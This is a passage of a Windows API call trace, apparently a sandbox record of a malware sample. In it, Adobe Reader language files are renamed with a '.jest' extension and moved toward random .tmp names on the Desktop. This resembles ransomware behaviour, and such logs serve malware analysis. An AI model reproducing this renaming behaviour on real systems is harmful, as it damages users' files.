Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 116 [0150.772] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.it_IT_PREEURO.txt") returned 0x73 [0150.772] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.772] GetLastError () returned 0x2 [0150.773] VarBstrFromR4 (in: fltIn=0x4794503b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.46") returned 0x0 [0150.773] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.773] CoFreeUnusedLibraries () [0150.773] GetTickCount () returned 0x1157771 [0150.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.773] GetTickCount () returned 0x1157771 [0150.773] IsWindowVisible (hWnd=0x30268) returned 0 [0150.773] Sleep (dwMilliseconds=0x0) [0150.774] GetFullPathNameA (in: lpFileName="L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", lpFilePart=0x18e708*="L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp") returned 0x8f [0150.774] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", lpFilePart=0x18e708*="DisplayLanguageNames.it_IT_PREEURO.txt") returned 0x73 [0150.775] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l-qufesn 6xv hr_c0v5sxtyl2uhxzojuwdxd6kbj5p5_ml62twphpdl68fsm31 vsds7 3trgg0n0b_7weywlx8_4e7j7owzkkvy.tmp")) returned 0 [0150.775] GetLastError () returned 0x2 [0150.775] GetLastError () returned 0x2 [0150.775] SetLastError (dwErrCode=0x2) [0150.775] GetLastError () returned 0x2 [0150.775] SetLastError (dwErrCode=0x2) [0150.775] GetLastError () returned 0x2 [0150.775] SetLastError (dwErrCode=0x2) [0150.775] GetFullPathNameA (in: lpFileName="L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", lpFilePart=0x18e6e4*="L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp") returned 0x8f [0150.775] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L-qUfeSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55712d4c, cFileName="feSn 6xv HR_C0v5sXtyl2UHXzojUwDXd6KBJ5P5_ml62TWPHpdl68fsm31 vSds7 3trgg0N0B_7WeYwLx8_4e7j7owzKkvy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.775] GetLastError () returned 0x2 [0150.775] GetLastError () returned 0x2 [0150.776] SetLastError (dwErrCode=0x2) [0150.776] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.776] CoFreeUnusedLibraries () [0150.776] GetTickCount () returned 0x1157771 [0150.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.776] GetTickCount () returned 0x1157771 [0150.776] IsWindowVisible (hWnd=0x30268) returned 0 [0150.776] Sleep (dwMilliseconds=0x0) [0150.777] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt.jest")) returned 1 [0150.779] GetLastError () returned 0x0 [0150.779] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟⹒硴t") returned 0x6b [0150.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.779] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟⹒硴t") returned 0x6b [0150.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt") returned 108 [0150.779] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟⹒硴⹴敪瑳") returned 0x70 [0150.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.779] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟⹒硴⹴敪瑳") returned 0x70 [0150.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt.jest") returned 113 [0150.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 108 [0150.779] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.fr_FR.txt") returned 0x6b [0150.779] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.779] GetLastError () returned 0x2 [0150.780] VarBstrFromR4 (in: fltIn=0x4794503b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.46") returned 0x0 [0150.780] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.780] CoFreeUnusedLibraries () [0150.780] GetTickCount () returned 0x1157771 [0150.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.780] GetTickCount () returned 0x1157771 [0150.780] IsWindowVisible (hWnd=0x30268) returned 0 [0150.781] Sleep (dwMilliseconds=0x0) [0150.781] GetFullPathNameA (in: lpFileName="sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", lpFilePart=0x18e708*="sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp") returned 0x8f [0150.781] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt", lpFilePart=0x18e708*="DisplayLanguageNames.fr_FR.txt") returned 0x6b [0150.782] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sbuohml1quvy3de8htrztoetmvp4-f8ucr7b4_vo9vrxsi-vxwymrhtoy2f85kj8tvgxb7atlq2uwyk-vssfanodipfejp0lpmgzz.tmp")) returned 0 [0150.782] GetLastError () returned 0x2 [0150.782] GetLastError () returned 0x2 [0150.782] SetLastError (dwErrCode=0x2) [0150.782] GetLastError () returned 0x2 [0150.782] SetLastError (dwErrCode=0x2) [0150.782] GetLastError () returned 0x2 [0150.782] SetLastError (dwErrCode=0x2) [0150.782] GetFullPathNameA (in: lpFileName="sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", lpFilePart=0x18e6e4*="sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp") returned 0x8f [0150.782] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sbuohMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f756273, cFileName="hMl1qUVy3dE8HTRztoETMVp4-F8UCR7b4_vo9VRxsi-vxwYMrhtOy2F85kj8TvgXB7ATlq2Uwyk-VSSFanODipfeJP0lpMgzz.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.783] GetLastError () returned 0x2 [0150.783] GetLastError () returned 0x2 [0150.783] SetLastError (dwErrCode=0x2) [0150.783] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.783] CoFreeUnusedLibraries () [0150.783] GetTickCount () returned 0x1157781 [0150.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.783] GetTickCount () returned 0x1157781 [0150.784] IsWindowVisible (hWnd=0x30268) returned 0 [0150.784] Sleep (dwMilliseconds=0x0) [0150.784] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt.jest")) returned 1 [0150.785] GetLastError () returned 0x0 [0150.785] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䍟⹁硴t") returned 0x6b [0150.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.785] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䍟⹁硴t") returned 0x6b [0150.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt") returned 108 [0150.785] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䍟⹁硴⹴敪瑳") returned 0x70 [0150.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.785] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䍟⹁硴⹴敪瑳") returned 0x70 [0150.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt.jest") returned 113 [0150.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 108 [0150.786] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.fr_CA.txt") returned 0x6b [0150.786] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.786] GetLastError () returned 0x2 [0150.786] VarBstrFromR4 (in: fltIn=0x4794503d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.48") returned 0x0 [0150.787] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.787] CoFreeUnusedLibraries () [0150.787] GetTickCount () returned 0x1157781 [0150.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.787] GetTickCount () returned 0x1157781 [0150.787] IsWindowVisible (hWnd=0x30268) returned 0 [0150.787] Sleep (dwMilliseconds=0x0) [0150.790] GetFullPathNameA (in: lpFileName="CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", lpFilePart=0x18e708*="CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp") returned 0x8e [0150.790] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt", lpFilePart=0x18e708*="DisplayLanguageNames.fr_CA.txt") returned 0x6b [0150.791] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvsmctq8zyybswo4tszqjizk3eedgfh--ep6xdl qif5i pxqs9p9ibphrtucq31y2vsk0hss_l7rr2a4nfyccofvy4u30nsxp3f.tmp")) returned 0 [0150.791] GetLastError () returned 0x2 [0150.791] GetLastError () returned 0x2 [0150.791] SetLastError (dwErrCode=0x2) [0150.791] GetLastError () returned 0x2 [0150.791] SetLastError (dwErrCode=0x2) [0150.791] GetLastError () returned 0x2 [0150.791] SetLastError (dwErrCode=0x2) [0150.791] GetFullPathNameA (in: lpFileName="CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", lpFilePart=0x18e6e4*="CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp") returned 0x8e [0150.791] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVsmCTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d735643, cFileName="CTQ8zYYbSwO4TSZqJizk3EeDgfH--eP6xdl qiF5i PxqS9p9IBpHRTucq31y2vsk0hSs_l7rr2a4NfYccOFvy4u30NSXp3F.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.792] GetLastError () returned 0x2 [0150.792] GetLastError () returned 0x2 [0150.792] SetLastError (dwErrCode=0x2) [0150.792] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.792] CoFreeUnusedLibraries () [0150.792] GetTickCount () returned 0x1157781 [0150.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.792] 